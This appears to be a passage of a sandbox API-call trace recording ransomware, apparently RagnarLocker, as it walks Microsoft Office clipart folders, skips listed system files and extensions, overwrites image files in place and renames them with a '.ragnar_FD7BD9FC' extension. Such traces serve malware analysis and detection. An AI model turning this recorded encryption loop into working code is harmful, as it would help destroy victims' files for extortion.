lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.301] VirtualAlloc (lpAddress=0x0, dwSize=0x1f8c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.301] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.301] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.302] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f8c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f8c, lpOverlapped=0x0) returned 1 [0083.302] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.302] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.302] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f8c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f8c, lpOverlapped=0x0) returned 1 [0083.303] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.303] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.303] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.303] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.303] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.303] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.303] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.303] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.303] GetProcessHeap () returned 0x580000 [0083.303] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.303] CloseHandle (hObject=0xf4) returned 1 [0083.303] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" [0083.303] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.ragnar_FD7BD9FC" [0083.303] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.304] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xab74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099190.JPG", cAlternateFileName="")) returned 1 [0083.304] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.304] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099190.JPG" | out: lpString1="J0099190.JPG") returned="J0099190.JPG" [0083.304] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned=".JPG" [0083.304] lstrcmpiW (lpString1="J0099190.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.304] lstrcmpiW (lpString1="J0099190.JPG", lpString2="autorun.inf") returned 1 [0083.304] lstrcmpiW (lpString1="J0099190.JPG", lpString2="boot.ini") returned 1 [0083.304] lstrcmpiW (lpString1="J0099190.JPG", lpString2="bootfont.bin") returned 1 [0083.304] lstrcmpiW (lpString1="J0099190.JPG", lpString2="bootsect.bak") returned 1 [0083.304] lstrcmpiW (lpString1="J0099190.JPG", lpString2="bootmgr") returned 1 [0083.304] lstrcmpiW (lpString1="J0099190.JPG", lpString2="bootmgr.efi") returned 1 [0083.304] lstrcmpiW (lpString1="J0099190.JPG", lpString2="bootmgfw.efi") returned 1 [0083.304] lstrcmpiW (lpString1="J0099190.JPG", lpString2="desktop.ini") returned 1 [0083.304] lstrcmpiW (lpString1="J0099190.JPG", lpString2="iconcache.db") returned 1 [0083.304] lstrcmpiW (lpString1="J0099190.JPG", lpString2="ntldr") returned -1 [0083.304] lstrcmpiW (lpString1="J0099190.JPG", lpString2="ntuser.dat") returned -1 [0083.304] lstrcmpiW (lpString1="J0099190.JPG", lpString2="ntuser.dat.log") returned -1 [0083.304] lstrcmpiW (lpString1="J0099190.JPG", lpString2="ntuser.ini") returned -1 [0083.304] lstrcmpiW (lpString1="J0099190.JPG", lpString2="thumbs.db") returned -1 [0083.304] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.305] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.305] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.305] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.305] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.305] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.305] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg")) returned 0x20 [0083.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.307] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=43892) returned 1 [0083.307] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xab6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.307] GetProcessHeap () returned 0x580000 [0083.307] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.307] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.308] VirtualAlloc (lpAddress=0x0, dwSize=0xab74, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.308] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.309] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.309] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xab74, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xab74, lpOverlapped=0x0) returned 1 [0083.310] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.310] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xab74, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.310] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xab74, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xab74, lpOverlapped=0x0) returned 1 [0083.311] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xab74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.311] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.311] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xab74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.311] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.311] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.311] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.311] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.312] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.312] GetProcessHeap () returned 0x580000 [0083.312] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.312] CloseHandle (hObject=0xf4) returned 1 [0083.312] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" [0083.312] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.ragnar_FD7BD9FC" [0083.312] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.312] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099191.JPG", cAlternateFileName="")) returned 1 [0083.312] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.312] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099191.JPG" | out: lpString1="J0099191.JPG") returned="J0099191.JPG" [0083.312] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned=".JPG" [0083.313] lstrcmpiW (lpString1="J0099191.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.313] lstrcmpiW (lpString1="J0099191.JPG", lpString2="autorun.inf") returned 1 [0083.313] lstrcmpiW (lpString1="J0099191.JPG", lpString2="boot.ini") returned 1 [0083.313] lstrcmpiW (lpString1="J0099191.JPG", lpString2="bootfont.bin") returned 1 [0083.313] lstrcmpiW (lpString1="J0099191.JPG", lpString2="bootsect.bak") returned 1 [0083.313] lstrcmpiW (lpString1="J0099191.JPG", lpString2="bootmgr") returned 1 [0083.313] lstrcmpiW (lpString1="J0099191.JPG", lpString2="bootmgr.efi") returned 1 [0083.313] lstrcmpiW (lpString1="J0099191.JPG", lpString2="bootmgfw.efi") returned 1 [0083.313] lstrcmpiW (lpString1="J0099191.JPG", lpString2="desktop.ini") returned 1 [0083.313] lstrcmpiW (lpString1="J0099191.JPG", lpString2="iconcache.db") returned 1 [0083.313] lstrcmpiW (lpString1="J0099191.JPG", lpString2="ntldr") returned -1 [0083.313] lstrcmpiW (lpString1="J0099191.JPG", lpString2="ntuser.dat") returned -1 [0083.313] lstrcmpiW (lpString1="J0099191.JPG", lpString2="ntuser.dat.log") returned -1 [0083.313] lstrcmpiW (lpString1="J0099191.JPG", lpString2="ntuser.ini") returned -1 [0083.313] lstrcmpiW (lpString1="J0099191.JPG", lpString2="thumbs.db") returned -1 [0083.313] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.313] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.313] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.313] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.313] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.313] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.313] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg")) returned 0x20 [0083.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.314] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=62367) returned 1 [0083.314] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf396, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.314] GetProcessHeap () returned 0x580000 [0083.314] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.314] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.315] VirtualAlloc (lpAddress=0x0, dwSize=0xf39f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.315] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.315] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.315] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf39f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf39f, lpOverlapped=0x0) returned 1 [0083.317] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.318] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf39f, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.318] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf39f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf39f, lpOverlapped=0x0) returned 1 [0083.318] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf39f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.318] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.318] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf39f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.318] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.318] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.319] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.319] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.319] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.319] GetProcessHeap () returned 0x580000 [0083.319] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.319] CloseHandle (hObject=0xf4) returned 1 [0083.319] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" [0083.319] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.ragnar_FD7BD9FC" [0083.319] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.319] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x462c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099192.GIF", cAlternateFileName="")) returned 1 [0083.319] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.320] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099192.GIF" | out: lpString1="J0099192.GIF") returned="J0099192.GIF" [0083.320] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned=".GIF" [0083.320] lstrcmpiW (lpString1="J0099192.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.320] lstrcmpiW (lpString1="J0099192.GIF", lpString2="autorun.inf") returned 1 [0083.320] lstrcmpiW (lpString1="J0099192.GIF", lpString2="boot.ini") returned 1 [0083.320] lstrcmpiW (lpString1="J0099192.GIF", lpString2="bootfont.bin") returned 1 [0083.320] lstrcmpiW (lpString1="J0099192.GIF", lpString2="bootsect.bak") returned 1 [0083.320] lstrcmpiW (lpString1="J0099192.GIF", lpString2="bootmgr") returned 1 [0083.320] lstrcmpiW (lpString1="J0099192.GIF", lpString2="bootmgr.efi") returned 1 [0083.320] lstrcmpiW (lpString1="J0099192.GIF", lpString2="bootmgfw.efi") returned 1 [0083.320] lstrcmpiW (lpString1="J0099192.GIF", lpString2="desktop.ini") returned 1 [0083.320] lstrcmpiW (lpString1="J0099192.GIF", lpString2="iconcache.db") returned 1 [0083.320] lstrcmpiW (lpString1="J0099192.GIF", lpString2="ntldr") returned -1 [0083.320] lstrcmpiW (lpString1="J0099192.GIF", lpString2="ntuser.dat") returned -1 [0083.320] lstrcmpiW (lpString1="J0099192.GIF", lpString2="ntuser.dat.log") returned -1 [0083.320] lstrcmpiW (lpString1="J0099192.GIF", lpString2="ntuser.ini") returned -1 [0083.320] lstrcmpiW (lpString1="J0099192.GIF", lpString2="thumbs.db") returned -1 [0083.320] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0083.320] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0083.320] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0083.320] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0083.320] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0083.320] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0083.320] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0083.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif")) returned 0x20 [0083.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.321] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17964) returned 1 [0083.321] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4623, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.321] GetProcessHeap () returned 0x580000 [0083.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.321] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.322] VirtualAlloc (lpAddress=0x0, dwSize=0x462c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.322] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.322] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.323] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x462c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x462c, lpOverlapped=0x0) returned 1 [0083.326] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 